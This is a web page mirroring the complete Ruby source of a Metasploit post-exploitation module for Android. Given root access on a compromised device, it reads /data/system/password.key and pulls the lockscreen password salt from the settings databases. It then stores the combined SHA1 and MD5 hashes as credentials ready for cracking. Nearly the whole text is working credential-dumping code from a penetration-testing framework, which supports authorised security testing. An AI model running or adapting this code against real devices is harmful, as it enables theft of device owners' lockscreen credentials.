Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/android/gather/hashdump.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'sqlite3'
7
require 'fileutils'
8
9
class MetasploitModule < Msf::Post
10
11
include Msf::Post::File
12
include Msf::Post::Android::Priv
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Android Gather Dump Password Hashes for Android Systems',
19
'Description' => %q{
20
Post Module to dump the password hashes for Android System. Root is required.
21
To perform this operation, two things are needed. First, a password.key file
22
is required as this contains the hash but no salt. Next, a sqlite3 database
23
is needed (with supporting files) to pull the salt from. Combined, this
24
creates the hash we need. Samsung based devices change the hash slightly.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => ['h00die', 'timwr'],
28
'SessionTypes' => [ 'meterpreter', 'shell' ],
29
'Platform' => 'android',
30
'References' => [
31
['URL', 'https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/'],
32
['URL', 'https://hashcat.net/forum/thread-2202.html'],
33
],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
}
39
)
40
)
41
end
42
43
def read_store_sql(location)
44
# we need the .db file, as well as the supporting files .db-shm and .db-wal as they may contain
45
# the values we are looking for
46
db_loot_name = ''
47
file_name = File.basename(location)
48
['', '-wal', '-shm'].each do |ext|
49
l = location + ext
50
next unless file_exist?(l)
51
52
f = file_name + ext
53
data = read_file(l)
54
55
if data.blank?
56
print_error("Unable to read #{l}")
57
next
58
end
59
60
print_good("Saved #{f} with length #{data.length}")
61
62
if ext == ''
63
db_loot_name = store_loot('SQLite3 DB', 'application/x-sqlite3', session, data, f, 'Android database')
64
next
65
end
66
67
loot_file = store_loot('SQLite3 DB', 'application/binary', session, data, f, 'Android database')
68
69
# in order for sqlite3 to see the -wal and -shm support files, we have to rename them
70
# we have to do this since the ext is > 3
71
# https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/auxiliary/report.rb#L391
72
new_name = "#{db_loot_name}#{ext}"
73
FileUtils.mv(loot_file, new_name)
74
end
75
76
SQLite3::Database.new(db_loot_name)
77
end
78
79
def run
80
unless is_root?
81
fail_with(Failure::NoAccess, 'This module requires root permissions.')
82
end
83
84
manu = cmd_exec('getprop ro.product.manufacturer')
85
86
print_status('Attempting to determine unsalted hash.')
87
key_file = '/data/system/password.key'
88
unless file_exist?(key_file)
89
print_error('No password.key file, no password on device.')
90
return
91
end
92
93
hash = read_file(key_file)
94
if hash.empty?
95
print_error("Unable to read #{key_file}, and retrieve hash.")
96
return
97
end
98
store_loot('Key', 'plain/text', session, hash, 'password.key', 'Android password hash key')
99
print_good('Saved password.key')
100
101
print_status('Attempting to determine salt')
102
os = cmd_exec('getprop ro.build.version.release')
103
vprint_status("OS Version: #{os}")
104
105
locksettings_db = '/data/system/locksettings.db'
106
locksettings_sql = "select value from locksettings where name='lockscreen.password_salt';"
107
unless file_exist? locksettings_db
108
vprint_status("Could not find #{locksettings_db}, using settings.db")
109
locksettings_db = '/data/data/com.android.providers.settings/databases/settings.db'
110
locksettings_sql = "select value from secure where name='lockscreen.password_salt';"
111
end
112
113
begin
114
vprint_status("Attempting to load lockscreen db: #{locksettings_db}")
115
db = read_store_sql(locksettings_db)
116
if db.nil?
117
print_error('Unable to load settings.db file.')
118
return
119
end
120
salt = db.execute(locksettings_sql)
121
rescue SQLite3::SQLException
122
print_error("Failed to pull salt from database. Command output: #{salt}")
123
return
124
end
125
126
salt = salt[0][0] # pull string from results Command output: [["5381737017539487883"]] may also be negative.
127
128
# convert from number string to hex and lowercase
129
salt = salt.to_i
130
salt += 2**64 if salt < 0 # deal with negatives
131
salt = salt.to_s(16)
132
print_good("Password Salt: #{salt}")
133
134
sha1 = hash[0...40]
135
sha1 = "#{sha1}:#{salt}"
136
print_good("SHA1: #{sha1}")
137
credential_data = {
138
# no way to tell them apart w/o knowing one is samsung or not.
139
jtr_format: manu =~ /samsung/i ? 'android-samsung-sha1' : 'android-sha1',
140
origin_type: :session,
141
post_reference_name: refname,
142
private_type: :nonreplayable_hash,
143
private_data: sha1,
144
session_id: session_db_id,
145
username: '',
146
workspace_id: myworkspace_id
147
}
148
create_credential(credential_data)
149
150
if hash.length > 40 # devices other than Samsungs have sha1+md5 combined into a single string
151
md5 = hash[40...72]
152
md5 = "#{md5}:#{salt}"
153
print_good("MD5: #{md5}")
154
credential_data = {
155
jtr_format: Metasploit::Framework::Hashes.identify_hash(md5),
156
origin_type: :session,
157
post_reference_name: refname,
158
private_type: :nonreplayable_hash,
159
private_data: md5,
160
session_id: session_db_id,
161
username: '',
162
workspace_id: myworkspace_id
163
}
164
create_credential(credential_data)
165
end
166
end
167
end
168
169